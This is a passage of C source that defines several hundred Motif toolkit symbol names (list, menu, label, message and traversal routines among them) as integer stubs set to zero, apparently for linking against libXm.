|
||||
int xmHierarchyClassRec = 0;
|
||||
int XmHierarchyGetChildNodes = 0;
|
||||
int XmHierarchyOpenAllAncestors = 0;
|
||||
int xmHierarchyWidgetClass = 0;
|
||||
int _XmHighlightBorder = 0;
|
||||
int _XmHighlightColorDefault = 0;
|
||||
int _XmHighlightPixmapDefault = 0;
|
||||
int _XmHWQuery = 0;
|
||||
int xmI18ListClassRec = 0;
|
||||
int XmI18ListDeselectItems = 0;
|
||||
int XmI18ListDeselectRow = 0;
|
||||
int XmI18ListDoSearch = 0;
|
||||
int XmI18ListFindRow = 0;
|
||||
int XmI18ListGetSelectedRowArray = 0;
|
||||
int XmI18ListGetSelectedRows = 0;
|
||||
int XmI18ListMakeRowVisible = 0;
|
||||
int XmI18ListSelectAllItems = 0;
|
||||
int XmI18ListSelectItems = 0;
|
||||
int XmI18ListSelectRow = 0;
|
||||
int XmI18ListToggleRow = 0;
|
||||
int xmI18ListWidgetClass = 0;
|
||||
int _XmICCCallbackToICCEvent = 0;
|
||||
int _XmICCEventToICCCallback = 0;
|
||||
int xmIconBoxClassRec = 0;
|
||||
int XmIconBoxIsCellEmpty = 0;
|
||||
int xmIconBoxWidgetClass = 0;
|
||||
int xmIconButtonClassRec = 0;
|
||||
int xmIconButtonWidgetClass = 0;
|
||||
int xmIconGadgetClass = 0;
|
||||
int xmIconGadgetClassRec = 0;
|
||||
int _XmIconGadgetIconPos = 0;
|
||||
int xmIconGCacheObjClassRec = 0;
|
||||
int xmIconHeaderClass = 0;
|
||||
int xmIconHeaderClassRec = 0;
|
||||
int _XmIEndUpdate = 0;
|
||||
int _XmImChangeManaged = 0;
|
||||
int XmImCloseXIM = 0;
|
||||
int _XmImFreeShellData = 0;
|
||||
int XmImFreeXIC = 0;
|
||||
int XmImGetXIC = 0;
|
||||
int XmImGetXICResetState = 0;
|
||||
int XmImGetXIM = 0;
|
||||
int XmImMbLookupString = 0;
|
||||
int XmImMbResetIC = 0;
|
||||
int _XmImRealize = 0;
|
||||
int _XmImRedisplay = 0;
|
||||
int XmImRegister = 0;
|
||||
int _XmImResize = 0;
|
||||
int XmImSetFocusValues = 0;
|
||||
int XmImSetValues = 0;
|
||||
int XmImSetXIC = 0;
|
||||
int XmImUnregister = 0;
|
||||
int XmImUnsetFocus = 0;
|
||||
int XmImVaSetFocusValues = 0;
|
||||
int XmImVaSetValues = 0;
|
||||
int _XmIndexToTargets = 0;
|
||||
int _XmInheritClass = 0;
|
||||
int _XmInImageCache = 0;
|
||||
int _XmInitByteOrderChar = 0;
|
||||
int _XmInitializeExtensions = 0;
|
||||
int _XmInitializeMenuCursor = 0;
|
||||
int _XmInitializeScrollBars = 0;
|
||||
int _XmInitializeSyntheticResources = 0;
|
||||
int _XmInitializeTraits = 0;
|
||||
int _XmInitModifiers = 0;
|
||||
int _XmInitTargetsTable = 0;
|
||||
int _XmInputForGadget = 0;
|
||||
int _XmInputInGadget = 0;
|
||||
int _XmInstallImage = 0;
|
||||
int XmInstallImage = 0;
|
||||
int _XmInstallPixmap = 0;
|
||||
int _XmInstallProtocols = 0;
|
||||
int XmInternAtom = 0;
|
||||
int _XmIntersectionOf = 0;
|
||||
int _XmIntersectRect = 0;
|
||||
int _XmInvalidCursorIconQuark = 0;
|
||||
int _XmIsActiveTearOff = 0;
|
||||
int _XmIsEventUnique = 0;
|
||||
int _XmIsFastSubclass = 0;
|
||||
int _XmIsISO10646 = 0;
|
||||
int XmIsMotifWMRunning = 0;
|
||||
int _XmIsNavigable = 0;
|
||||
int _XmIsScrollableClipWidget = 0;
|
||||
int _XmIsSlowSubclass = 0;
|
||||
int _XmIsStandardMotifWidgetClass = 0;
|
||||
int _XmIsSubclassOf = 0;
|
||||
int _XmIsTearOffShellDescendant = 0;
|
||||
int XmIsTraversable = 0;
|
||||
int _XmIsViewable = 0;
|
||||
int _XmJpegErrorExit = 0;
|
||||
int _XmJpegGetImage = 0;
|
||||
int _XmLabel_AccessTextualRecord = 0;
|
||||
int _XmLabelCacheCompare = 0;
|
||||
int _XmLabelCalcTextRect = 0;
|
||||
int xmLabelClassRec = 0;
|
||||
int _XmLabelCloneMenuSavvy = 0;
|
||||
int _XmLabelConvert = 0;
|
||||
int _XmLabel_defaultTranslations = 0;
|
||||
int _XmLabelGadClassExtRec = 0;
|
||||
int xmLabelGadgetClass = 0;
|
||||
int xmLabelGadgetClassRec = 0;
|
||||
int xmLabelGCacheObjClassRec = 0;
|
||||
int _XmLabelGCalcTextRect = 0;
|
||||
int _XmLabelGCloneMenuSavvy = 0;
|
||||
int _XmLabelGCVTRedraw = 0;
|
||||
int _XmLabel_menuTranslations = 0;
|
||||
int _XmLabel_menu_traversal_events = 0;
|
||||
int _XmLabelPrimClassExtRec = 0;
|
||||
int _XmLabelSetBackgroundGC = 0;
|
||||
int xmLabelWidgetClass = 0;
|
||||
int _XmLeafPaneFocusOut = 0;
|
||||
int _XmLeaveGadget = 0;
|
||||
int _XmLinkCursorIconQuark = 0;
|
||||
int _XmListAddAfter = 0;
|
||||
int _XmListAddBefore = 0;
|
||||
int XmListAddItem = 0;
|
||||
int XmListAddItems = 0;
|
||||
int XmListAddItemsUnselected = 0;
|
||||
int XmListAddItemUnselected = 0;
|
||||
int xmListClassRec = 0;
|
||||
int _XmListCount = 0;
|
||||
int XmListDeleteAllItems = 0;
|
||||
int XmListDeleteItem = 0;
|
||||
int XmListDeleteItems = 0;
|
||||
int XmListDeleteItemsPos = 0;
|
||||
int XmListDeletePos = 0;
|
||||
int XmListDeletePositions = 0;
|
||||
int XmListDeselectAllItems = 0;
|
||||
int XmListDeselectItem = 0;
|
||||
int XmListDeselectPos = 0;
|
||||
int _XmListExec = 0;
|
||||
int _XmListFree = 0;
|
||||
int XmListGetKbdItemPos = 0;
|
||||
int XmListGetMatchPos = 0;
|
||||
int XmListGetSelectedPos = 0;
|
||||
int _XmListInit = 0;
|
||||
int XmListItemExists = 0;
|
||||
int XmListItemPos = 0;
|
||||
int _XmList_ListXlations1 = 0;
|
||||
int _XmList_ListXlations2 = 0;
|
||||
int XmListPosSelected = 0;
|
||||
int XmListPosToBounds = 0;
|
||||
int _XmListRemove = 0;
|
||||
int XmListReplaceItems = 0;
|
||||
int XmListReplaceItemsPos = 0;
|
||||
int XmListReplaceItemsPosUnselected = 0;
|
||||
int XmListReplaceItemsUnselected = 0;
|
||||
int XmListReplacePositions = 0;
|
||||
int XmListSelectItem = 0;
|
||||
int XmListSelectPos = 0;
|
||||
int XmListSetAddMode = 0;
|
||||
int XmListSetBottomItem = 0;
|
||||
int XmListSetBottomPos = 0;
|
||||
int XmListSetHorizPos = 0;
|
||||
int XmListSetItem = 0;
|
||||
int XmListSetKbdItemPos = 0;
|
||||
int XmListSetPos = 0;
|
||||
int XmListUpdateSelectedList = 0;
|
||||
int xmListWidgetClass = 0;
|
||||
int XmListYToPos = 0;
|
||||
int _XmLowerCase = 0;
|
||||
int _XmLowerTearOffObscuringPoppingDownPanes = 0;
|
||||
int xmMainWindowClassRec = 0;
|
||||
int XmMainWindowSep1 = 0;
|
||||
int XmMainWindowSep2 = 0;
|
||||
int XmMainWindowSep3 = 0;
|
||||
int XmMainWindowSetAreas = 0;
|
||||
int xmMainWindowWidgetClass = 0;
|
||||
int _XmMakeGeometryRequest = 0;
|
||||
int xmManagerClassRec = 0;
|
||||
int _XmManager_defaultTranslations = 0;
|
||||
int _XmManagerEnter = 0;
|
||||
int _XmManagerFocusIn = 0;
|
||||
int _XmManagerFocusInInternal = 0;
|
||||
int _XmManagerFocusOut = 0;
|
||||
int _XmManagerGetValuesHook = 0;
|
||||
int _XmManagerHelp = 0;
|
||||
int _XmManagerHighlightPixmapDefault = 0;
|
||||
int _XmManagerImportArgs = 0;
|
||||
int _XmManagerLeave = 0;
|
||||
int _XmManager_managerTraversalTranslations = 0;
|
||||
int _XmManagerParentActivate = 0;
|
||||
int _XmManagerParentCancel = 0;
|
||||
int _XmManagerTopShadowPixmapDefault = 0;
|
||||
int _XmManagerUnmap = 0;
|
||||
int xmManagerWidgetClass = 0;
|
||||
int _XmMapBtnEvent = 0;
|
||||
int _XmMapHashTable = 0;
|
||||
int _XmMapKeyEvent = 0;
|
||||
int _XmMapKeyEvents = 0;
|
||||
int XmMapSegmentEncoding = 0;
|
||||
int _XmMatchBDragEvent = 0;
|
||||
int _XmMatchBSelectEvent = 0;
|
||||
int _XmMatchBtnEvent = 0;
|
||||
int _XmMatchKeyEvent = 0;
|
||||
int _XmMenuBarFix = 0;
|
||||
int _XmMenuBarGadgetSelect = 0;
|
||||
int _XmMenuBtnDown = 0;
|
||||
int _XmMenuBtnUp = 0;
|
||||
int _XmMenuButtonTakeFocus = 0;
|
||||
int _XmMenuButtonTakeFocusUp = 0;
|
||||
int _XmMenuCursorContext = 0;
|
||||
int _XmMenuEscape = 0;
|
||||
int _XmMenuFocus = 0;
|
||||
int _XmMenuFocusIn = 0;
|
||||
int _XmMenuFocusOut = 0;
|
||||
int _XmMenuGadgetDrag = 0;
|
||||
int _XmMenuGadgetTraverseCurrent = 0;
|
||||
int _XmMenuGadgetTraverseCurrentUp = 0;
|
||||
int _XmMenuGrabKeyboardAndPointer = 0;
|
||||
int _XmMenuHelp = 0;
|
||||
int _XmMenuPopDown = 0;
|
||||
int XmMenuPosition = 0;
|
||||
int _XmMenuSetInPMMode = 0;
|
||||
int xmMenuShellClassRec = 0;
|
||||
int _XmMenuShell_translations = 0;
|
||||
int xmMenuShellWidgetClass = 0;
|
||||
int _XmMenuTraversalHandler = 0;
|
||||
int _XmMenuTraverseDown = 0;
|
||||
int _XmMenuTraverseLeft = 0;
|
||||
int _XmMenuTraverseRight = 0;
|
||||
int _XmMenuTraverseUp = 0;
|
||||
int _XmMenuUnmap = 0;
|
||||
int xmMessageBoxClassRec = 0;
|
||||
int _XmMessageBoxGeoMatrixCreate = 0;
|
||||
int XmMessageBoxGetChild = 0;
|
||||
int _XmMessageBoxNoGeoRequest = 0;
|
||||
int xmMessageBoxWidgetClass = 0;
|
||||
int _XmMessageTypeToReason = 0;
|
||||
int _XmMgrTraversal = 0;
|
||||
int _XmMicroSleep = 0;
|
||||
int _Xm_MOTIF_DRAG_AND_DROP_MESSAGE = 0;
|
||||
int _XmMoveCursorIconQuark = 0;
|
||||
int _XmMoveObject = 0;
|
||||
int _XmMoveWidget = 0;
|
||||
int _XmMsgBaseClass_0000 = 0;
|
||||
int _XmMsgBaseClass_0001 = 0;
|
||||
int _XmMsgBulletinB_0001 = 0;
|
||||
int _XmMsgCascadeB_0000 = 0;
|
||||
int _XmMsgCascadeB_0001 = 0;
|
||||
int _XmMsgCascadeB_0002 = 0;
|
||||
int _XmMsgCascadeB_0003 = 0;
|
||||
int _XmMsgColObj_0001 = 0;
|
||||
int _XmMsgColObj_0002 = 0;
|
||||
int _XmMsgComboBox_0000 = 0;
|
||||
int _XmMsgComboBox_0001 = 0;
|
||||
int _XmMsgComboBox_0004 = 0;
|
||||
int _XmMsgComboBox_0005 = 0;
|
||||
int _XmMsgComboBox_0006 = 0;
|
||||
int _XmMsgComboBox_0007 = 0;
|
||||
int _XmMsgComboBox_0008 = 0;
|
||||
int _XmMsgComboBox_0009 = 0;
|
||||
int _XmMsgComboBox_0010 = 0;
|
||||
int _XmMsgComboBox_0011 = 0;
|
||||
int _XmMsgComboBox_0012 = 0;
|
||||
int _XmMsgComboBox_0013 = 0;
|
||||
int _XmMsgComboBox_0014 = 0;
|
||||
int _XmMsgCommand_0000 = 0;
|
||||
int _XmMsgCommand_0001 = 0;
|
||||
int _XmMsgCommand_0002 = 0;
|
||||
int _XmMsgCommand_0003 = 0;
|
||||
int _XmMsgCommand_0004 = 0;
|
||||
int _XmMsgCommand_0005 = 0;
|
||||
int _XmMsgContainer_0000 = 0;
|
||||
int _XmMsgContainer_0001 = 0;
|
||||
int _XmMsgCutPaste_0000 = 0;
|
||||
int _XmMsgCutPaste_0001 = 0;
|
||||
int _XmMsgCutPaste_0002 = 0;
|
||||
int _XmMsgCutPaste_0003 = 0;
|
||||
int _XmMsgCutPaste_0004 = 0;
|
||||
int _XmMsgCutPaste_0005 = 0;
|
||||
int _XmMsgCutPaste_0006 = 0;
|
||||
int _XmMsgCutPaste_0007 = 0;
|
||||
int _XmMsgCutPaste_0008 = 0;
|
||||
int _XmMsgCutPaste_0009 = 0;
|
||||
int _XmMsgDataF_0000 = 0;
|
||||
int _XmMsgDataF_0001 = 0;
|
||||
int _XmMsgDataF_0002 = 0;
|
||||
int _XmMsgDataF_0003 = 0;
|
||||
int _XmMsgDataF_0004 = 0;
|
||||
int _XmMsgDataF_0005 = 0;
|
||||
int _XmMsgDataF_0006 = 0;
|
||||
int _XmMsgDataFWcs_0000 = 0;
|
||||
int _XmMsgDataFWcs_0001 = 0;
|
||||
int _XmMsgDialogS_0000 = 0;
|
||||
int _XmMsgDisplay_0001 = 0;
|
||||
int _XmMsgDisplay_0002 = 0;
|
||||
int _XmMsgDisplay_0003 = 0;
|
||||
int _XmMsgDragBS_0000 = 0;
|
||||
int _XmMsgDragBS_0001 = 0;
|
||||
int _XmMsgDragBS_0002 = 0;
|
||||
int _XmMsgDragBS_0003 = 0;
|
||||
int _XmMsgDragBS_0004 = 0;
|
||||
int _XmMsgDragBS_0005 = 0;
|
||||
int _XmMsgDragBS_0006 = 0;
|
||||
int _XmMsgDragC_0001 = 0;
|
||||
int _XmMsgDragC_0002 = 0;
|
||||
int _XmMsgDragC_0003 = 0;
|
||||
int _XmMsgDragC_0004 = 0;
|
||||
int _XmMsgDragC_0005 = 0;
|
||||
int _XmMsgDragC_0006 = 0;
|
||||
int _XmMsgDragICC_0000 = 0;
|
||||
int _XmMsgDragICC_0001 = 0;
|
||||
int _XmMsgDragIcon_0000 = 0;
|
||||
int _XmMsgDragIcon_0001 = 0;
|
||||
int _XmMsgDragOverS_0000 = 0;
|
||||
int _XmMsgDragOverS_0001 = 0;
|
||||
int _XmMsgDragOverS_0002 = 0;
|
||||
int _XmMsgDragOverS_0003 = 0;
|
||||
int _XmMsgDragUnder_0000 = 0;
|
||||
int _XmMsgDragUnder_0001 = 0;
|
||||
int _XmMsgDropSMgr_0001 = 0;
|
||||
int _XmMsgDropSMgr_0002 = 0;
|
||||
int _XmMsgDropSMgr_0003 = 0;
|
||||
int _XmMsgDropSMgr_0004 = 0;
|
||||
int _XmMsgDropSMgr_0005 = 0;
|
||||
int _XmMsgDropSMgr_0006 = 0;
|
||||
int _XmMsgDropSMgr_0007 = 0;
|
||||
int _XmMsgDropSMgr_0008 = 0;
|
||||
int _XmMsgDropSMgr_0009 = 0;
|
||||
int _XmMsgDropSMgr_0010 = 0;
|
||||
int _XmMsgDropSMgrI_0001 = 0;
|
||||
int _XmMsgDropSMgrI_0002 = 0;
|
||||
int _XmMsgDropSMgrI_0003 = 0;
|
||||
int _XmMsgForm_0000 = 0;
|
||||
int _XmMsgForm_0002 = 0;
|
||||
int _XmMsgForm_0003 = 0;
|
||||
int _XmMsgGadget_0000 = 0;
|
||||
int _XmMsgLabel_0003 = 0;
|
||||
int _XmMsgLabel_0004 = 0;
|
||||
int _XmMsgList_0000 = 0;
|
||||
int _XmMsgList_0005 = 0;
|
||||
int _XmMsgList_0006 = 0;
|
||||
int _XmMsgList_0007 = 0;
|
||||
int _XmMsgList_0008 = 0;
|
||||
int _XmMsgList_0009 = 0;
|
||||
int _XmMsgList_0010 = 0;
|
||||
int _XmMsgList_0011 = 0;
|
||||
int _XmMsgList_0012 = 0;
|
||||
int _XmMsgList_0013 = 0;
|
||||
int _XmMsgList_0014 = 0;
|
||||
int _XmMsgList_0015 = 0;
|
||||
int _XmMsgMainW_0000 = 0;
|
||||
int _XmMsgMainW_0001 = 0;
|
||||
int _XmMsgManager_0000 = 0;
|
||||
int _XmMsgManager_0001 = 0;
|
||||
int _XmMsgMenuShell_0000 = 0;
|
||||
int _XmMsgMenuShell_0001 = 0;
|
||||
int _XmMsgMenuShell_0002 = 0;
|
||||
int _XmMsgMenuShell_0003 = 0;
|
||||
int _XmMsgMenuShell_0004 = 0;
|
||||
int _XmMsgMenuShell_0005 = 0;
|
||||
int _XmMsgMenuShell_0006 = 0;
|
||||
int _XmMsgMenuShell_0007 = 0;
|
||||
int _XmMsgMenuShell_0008 = 0;
|
||||
int _XmMsgMenuShell_0009 = 0;
|
||||
int _XmMsgMessageB_0003 = 0;
|
||||
int _XmMsgMessageB_0004 = 0;
|
||||
int _XmMsgMotif_0000 = 0;
|
||||
int _XmMsgMotif_0001 = 0;
|
||||
int _XmMsgNotebook_0000 = 0;
|
||||
int _XmMsgPanedW_0000 = 0;
|
||||
int _XmMsgPanedW_0001 = 0;
|
||||
int _XmMsgPanedW_0002 = 0;
|
||||
int _XmMsgPanedW_0004 = 0;
|
||||
int _XmMsgPanedW_0005 = 0;
|
||||
int _XmMsgPixConv_0000 = 0;
|
||||
int _XmMsgPrimitive_0000 = 0;
|
||||
int _XmMsgProtocols_0000 = 0;
|
||||
int _XmMsgProtocols_0001 = 0;
|
||||
int _XmMsgProtocols_0002 = 0;
|
||||
int _XmMsgRegion_0000 = 0;
|
||||
int _XmMsgRepType_0000 = 0;
|
||||
int _XmMsgRepType_0001 = 0;
|
||||
int _XmMsgRepType_0002 = 0;
|
||||
int _XmMsgResConvert_0001 = 0;
|
||||
int _XmMsgResConvert_0002 = 0;
|
||||
int _XmMsgResConvert_0003 = 0;
|
||||
int _XmMsgResConvert_0005 = 0;
|
||||
int _XmMsgResConvert_0006 = 0;
|
||||
int _XmMsgResConvert_0007 = 0;
|
||||
int _XmMsgResConvert_0008 = 0;
|
||||
int _XmMsgResConvert_0009 = 0;
|
||||
int _XmMsgResConvert_0010 = 0;
|
||||
int _XmMsgResConvert_0011 = 0;
|
||||
int _XmMsgResConvert_0012 = 0;
|
||||
int _XmMsgResConvert_0013 = 0;
|
||||
int _XmMsgResource_0001 = 0;
|
||||
int _XmMsgResource_0002 = 0;
|
||||
int _XmMsgResource_0003 = 0;
|
||||
int _XmMsgResource_0004 = 0;
|
||||
int _XmMsgResource_0005 = 0;
|
||||
int _XmMsgResource_0006 = 0;
|
||||
int _XmMsgResource_0007 = 0;
|
||||
int _XmMsgResource_0008 = 0;
|
||||
int _XmMsgResource_0009 = 0;
|
||||
int _XmMsgResource_0010 = 0;
|
||||
int _XmMsgResource_0011 = 0;
|
||||
int _XmMsgResource_0012 = 0;
|
||||
int _XmMsgResource_0013 = 0;
|
||||
int _XmMsgRowColText_0024 = 0;
|
||||
int _XmMsgRowColumn_0000 = 0;
|
||||
int _XmMsgRowColumn_0001 = 0;
|
||||
int _XmMsgRowColumn_0002 = 0;
|
||||
int _XmMsgRowColumn_0003 = 0;
|
||||
int _XmMsgRowColumn_0004 = 0;
|
||||
int _XmMsgRowColumn_0005 = 0;
|
||||
int _XmMsgRowColumn_0007 = 0;
|
||||
int _XmMsgRowColumn_0008 = 0;
|
||||
int _XmMsgRowColumn_0015 = 0;
|
||||
int _XmMsgRowColumn_0016 = 0;
|
||||
int _XmMsgRowColumn_0017 = 0;
|
||||
int _XmMsgRowColumn_0018 = 0;
|
||||
int _XmMsgRowColumn_0019 = 0;
|
||||
int _XmMsgRowColumn_0020 = 0;
|
||||
int _XmMsgRowColumn_0022 = 0;
|
||||
int _XmMsgRowColumn_0023 = 0;
|
||||
int _XmMsgRowColumn_0025 = 0;
|
||||
int _XmMsgRowColumn_0026 = 0;
|
||||
int _XmMsgRowColumn_0027 = 0;
|
||||
int _XmMsgScale_0000 = 0;
|
||||
int _XmMsgScale_0001 = 0;
|
||||
int _XmMsgScale_0002 = 0;
|
||||
int _XmMsgScale_0006 = 0;
|
||||
int _XmMsgScale_0007 = 0;
|
||||
int _XmMsgScale_0008 = 0;
|
||||
int _XmMsgScale_0009 = 0;
|
||||
int _XmMsgScaleScrBar_0004 = 0;
|
||||
int _XmMsgScreen_0000 = 0;
|
||||
int _XmMsgScreen_0001 = 0;
|
||||
int _XmMsgScrollBar_0000 = 0;
|
||||
int _XmMsgScrollBar_0001 = 0;
|
||||
int _XmMsgScrollBar_0002 = 0;
|
||||
int _XmMsgScrollBar_0003 = 0;
|
||||
int _XmMsgScrollBar_0004 = 0;
|
||||
int _XmMsgScrollBar_0005 = 0;
|
||||
int _XmMsgScrollBar_0006 = 0;
|
||||
int _XmMsgScrollBar_0007 = 0;
|
||||
int _XmMsgScrollBar_0008 = 0;
|
||||
int _XmMsgScrolledW_0004 = 0;
|
||||
int _XmMsgScrolledW_0005 = 0;
|
||||
int _XmMsgScrolledW_0006 = 0;
|
||||
int _XmMsgScrolledW_0007 = 0;
|
||||
int _XmMsgScrolledW_0008 = 0;
|
||||
int _XmMsgScrolledW_0009 = 0;
|
||||
int _XmMsgScrollFrameT_0000 = 0;
|
||||
int _XmMsgScrollFrameT_0001 = 0;
|
||||
int _XmMsgScrollVis_0000 = 0;
|
||||
int _XmMsgSelectioB_0001 = 0;
|
||||
int _XmMsgSelectioB_0002 = 0;
|
||||
int _XmMsgSpinB_0003 = 0;
|
||||
int _XmMsgSpinB_0004 = 0;
|
||||
int _XmMsgSpinB_0005 = 0;
|
||||
int _XmMsgSpinB_0006 = 0;
|
||||
int _XmMsgSpinB_0007 = 0;
|
||||
int _XmMsgSpinB_0008 = 0;
|
||||
int _XmMsgSSpinB_0001 = 0;
|
||||
int _XmMsgSSpinB_0002 = 0;
|
||||
int _XmMsgSSpinB_0003 = 0;
|
||||
int _XmMsgText_0000 = 0;
|
||||
int _XmMsgTextF_0000 = 0;
|
||||
int _XmMsgTextF_0001 = 0;
|
||||
int _XmMsgTextF_0002 = 0;
|
||||
int _XmMsgTextF_0003 = 0;
|
||||
int _XmMsgTextF_0004 = 0;
|
||||
int _XmMsgTextF_0006 = 0;
|
||||
int _XmMsgTextFWcs_0000 = 0;
|
||||
int _XmMsgTextIn_0000 = 0;
|
||||
int _XmMsgTextOut_0000 = 0;
|
||||
int _XmMsgTransfer_0000 = 0;
|
||||
int _XmMsgTransfer_0002 = 0;
|
||||
int _XmMsgTransfer_0003 = 0;
|
||||
int _XmMsgTransfer_0004 = 0;
|
||||
int _XmMsgTransfer_0005 = 0;
|
||||
int _XmMsgTransfer_0006 = 0;
|
||||
int _XmMsgTransfer_0007 = 0;
|
||||
int _XmMsgVaSimple_0000 = 0;
|
||||
int _XmMsgVaSimple_0001 = 0;
|
||||
int _XmMsgVaSimple_0002 = 0;
|
||||
int _XmMsgVendor_0000 = 0;
|
||||
int _XmMsgVendor_0001 = 0;
|
||||
int _XmMsgVendor_0002 = 0;
|
||||
int _XmMsgVendor_0003 = 0;
|
||||
int _XmMsgVisual_0000 = 0;
|
||||
int _XmMsgVisual_0001 = 0;
|
||||
int _XmMsgVisual_0002 = 0;
|
||||
int _XmMsgXmIm_0000 = 0;
|
||||
int _XmMsgXmRenderT_0000 = 0;
|
||||
int _XmMsgXmRenderT_0001 = 0;
|
||||
int _XmMsgXmRenderT_0002 = 0;
|
||||
int _XmMsgXmRenderT_0003 = 0;
|
||||
int _XmMsgXmRenderT_0004 = 0;
|
||||
int _XmMsgXmRenderT_0005 = 0;
|
||||
int _XmMsgXmString_0000 = 0;
|
||||
int _XmMsgXmTabList_0000 = 0;
|
||||
int xmMultiListClassRec = 0;
|
||||
int XmMultiListDeselectItems = 0;
|
||||
int XmMultiListDeselectRow = 0;
|
||||
int XmMultiListGetSelectedRowArray = 0;
|
||||
int XmMultiListGetSelectedRows = 0;
|
||||
int XmMultiListMakeRowVisible = 0;
|
||||
int XmMultiListSelectAllItems = 0;
|
||||
int XmMultiListSelectItems = 0;
|
||||
int XmMultiListSelectRow = 0;
|
||||
int XmMultiListToggleRow = 0;
|
||||
int XmMultiListUnselectAllItems = 0;
|
||||
int XmMultiListUnselectItem = 0;
|
||||
int xmMultiListWidgetClass = 0;
|
||||
int _XmNavigate = 0;
|
||||
int _XmNavigChangeManaged = 0;
|
||||
int _XmNavigDestroy = 0;
|
||||
int _XmNavigInitialize = 0;
|
||||
int _XmNavigResize = 0;
|
||||
int _XmNavigSetValues = 0;
|
||||
int _XmNewTravGraph = 0;
|
||||
int _XmNoneCursorIconQuark = 0;
|
||||
int xmNotebookClassRec = 0;
|
||||
int XmNotebookGetPageInfo = 0;
|
||||
int _XmNotebook_manager_translations = 0;
|
||||
int _XmNotebook_TabAccelerators = 0;
|
||||
int xmNotebookWidgetClass = 0;
|
||||
int _XmNotifyChildrenVisual = 0;
|
||||
int _XmNumDSResources = 0;
|
||||
int XmObjectAtPoint = 0;
|
||||
int _XmOffsetArrow = 0;
|
||||
int XmOptionButtonGadget = 0;
|
||||
int XmOptionLabelGadget = 0;
|
||||
int _XmOSAbsolutePathName = 0;
|
||||
int _XmOSBuildFileList = 0;
|
||||
int _XmOSBuildFileName = 0;
|
||||
int _XmOSFileCompare = 0;
|
||||
int _XmOSFindPathParts = 0;
|
||||
int _XmOSFindPatternPart = 0;
|
||||
int _XmOSGenerateMaskName = 0;
|
||||
int _XmOSGetCharDirection = 0;
|
||||
int _XmOSGetDirEntries = 0;
|
||||
int _XmOSGetHomeDirName = 0;
|
||||
int _XmOSGetInitialCharsDirection = 0;
|
||||
int _XmOSGetLocalizedString = 0;
|
||||
int XmOSGetMethod = 0;
|
||||
int _XmOSInitPath = 0;
|
||||
int _XmOSKeySymToCharacter = 0;
|
||||
int _XmOSPutenv = 0;
|
||||
int _XmOSQualifyFileSpec = 0;
|
||||
int xmOutlineClassRec = 0;
|
||||
int xmOutlineWidgetClass = 0;
|
||||
int XMoveResizeWindow = 0;
|
||||
int XMoveWindow = 0;
|
||||
int xmPanedClassRec = 0;
|
||||
int XmPanedGetPanes = 0;
|
||||
int xmPanedWidgetClass = 0;
|
||||
int xmPanedWindowClassRec = 0;
|
||||
int xmPanedWindowWidgetClass = 0;
|
||||
int _XmParentProcess = 0;
|
||||
int XmParseMappingCreate = 0;
|
||||
int XmParseMappingFree = 0;
|
||||
int XmParseMappingGetValues = 0;
|
||||
int XmParseMappingSetValues = 0;
|
||||
int XmParsePicture = 0;
|
||||
int XmParseTableFree = 0;
|
||||
int _XmPathIsTraversable = 0;
|
||||
int XmPictureDelete = 0;
|
||||
int XmPictureDeleteState = 0;
|
||||
int XmPictureDoAutoFill = 0;
|
||||
int XmPictureGetCurrentString = 0;
|
||||
int XmPictureProcessCharacter = 0;
|
||||
int _XmPngGetImage = 0;
|
||||
int _XmPopdown = 0;
|
||||
int _XmPopup = 0;
|
||||
int _XmPopupSpringLoaded = 0;
|
||||
int _XmPopWidgetExtData = 0;
|
||||
int _XmPostPopupMenu = 0;
|
||||
int _XmPrimbaseClassExtRec = 0;
|
||||
int _XmPrimClassExtRec = 0;
|
||||
int xmPrimitiveClassRec = 0;
|
||||
int _XmPrimitive_defaultTranslations = 0;
|
||||
int _XmPrimitiveEnter = 0;
|
||||
int _XmPrimitiveFocusIn = 0;
|
||||
int _XmPrimitiveFocusInInternal = 0;
|
||||
int _XmPrimitiveFocusOut = 0;
|
||||
int _XmPrimitiveGetValuesHook = 0;
|
||||
int _XmPrimitiveHelp = 0;
|
||||
int _XmPrimitiveHighlightPixmapDefault = 0;
|
||||
int _XmPrimitiveImportArgs = 0;
|
||||
int _XmPrimitiveLeave = 0;
|
||||
int _XmPrimitiveParentActivate = 0;
|
||||
int _XmPrimitiveParentCancel = 0;
|
||||
int _XmPrimitiveTopShadowPixmapDefault = 0;
|
||||
int _XmPrimitiveUnmap = 0;
|
||||
int xmPrimitiveWidgetClass = 0;
|
||||
int _XmProcessDrag = 0;
|
||||
int _XmProcessTraversal = 0;
|
||||
int XmProcessTraversal = 0;
|
||||
int xmProtocolClassRec = 0;
|
||||
int xmProtocolObjectClass = 0;
|
||||
int _XmPushB_defaultTranslations = 0;
|
||||
int _XmPushBGadClassExtRec = 0;
|
||||
int _XmPushB_menuTranslations = 0;
|
||||
int _XmPushBPrimClassExtRec = 0;
|
||||
int xmPushButtonClassRec = 0;
|
||||
int xmPushButtonGadgetClass = 0;
|
||||
int xmPushButtonGadgetClassRec = 0;
|
||||
int xmPushButtonGCacheObjClassRec = 0;
|
||||
int xmPushButtonWidgetClass = 0;
|
||||
int _XmPushWidgetExtData = 0;
|
||||
int _XmPutScaledImage = 0;
|
||||
int XmQmotif = 0;
|
||||
int XmQTaccessColors = 0;
|
||||
int XmQTaccessTextual = 0;
|
||||
int XmQTactivatable = 0;
|
||||
int XmQTcareParentVisual = 0;
|
||||
int _XmQTclipWindow = 0;
|
||||
int XmQTcontainer = 0;
|
||||
int XmQTcontainerItem = 0;
|
||||
int XmQTdialogShellSavvy = 0;
|
||||
int XmQTjoinSide = 0;
|
||||
int XmQTmenuSavvy = 0;
|
||||
int XmQTmenuSystem = 0;
|
||||
int XmQTmotifTrait = 0;
|
||||
int XmQTnavigator = 0;
|
||||
int XmQTpointIn = 0;
|
||||
int XmQTscrollFrame = 0;
|
||||
int XmQTspecifyLayoutDirection = 0;
|
||||
int XmQTspecifyRenderTable = 0;
|
||||
int XmQTspecifyUnhighlight = 0;
|
||||
int XmQTspecifyUnitType = 0;
|
||||
int XmQTtakesDefault = 0;
|
||||
int XmQTtoolTip = 0;
|
||||
int XmQTtoolTipConfig = 0;
|
||||
int XmQTtransfer = 0;
|
||||
int XmQTtraversalControl = 0;
|
||||
int _XmQualifyLabelLocalCache = 0;
|
||||
int _XmQueryPixmapCache = 0;
|
||||
int _XmQueueCount = 0;
|
||||
int _XmQueueFree = 0;
|
||||
int _XmQueueInit = 0;
|
||||
int _XmQueuePop = 0;
|
||||
int _XmRCAdaptToSize = 0;
|
||||
int _XmRC_AddPopupEventHandlers = 0;
|
||||
int _XmRC_AddToPostFromList = 0;
|
||||
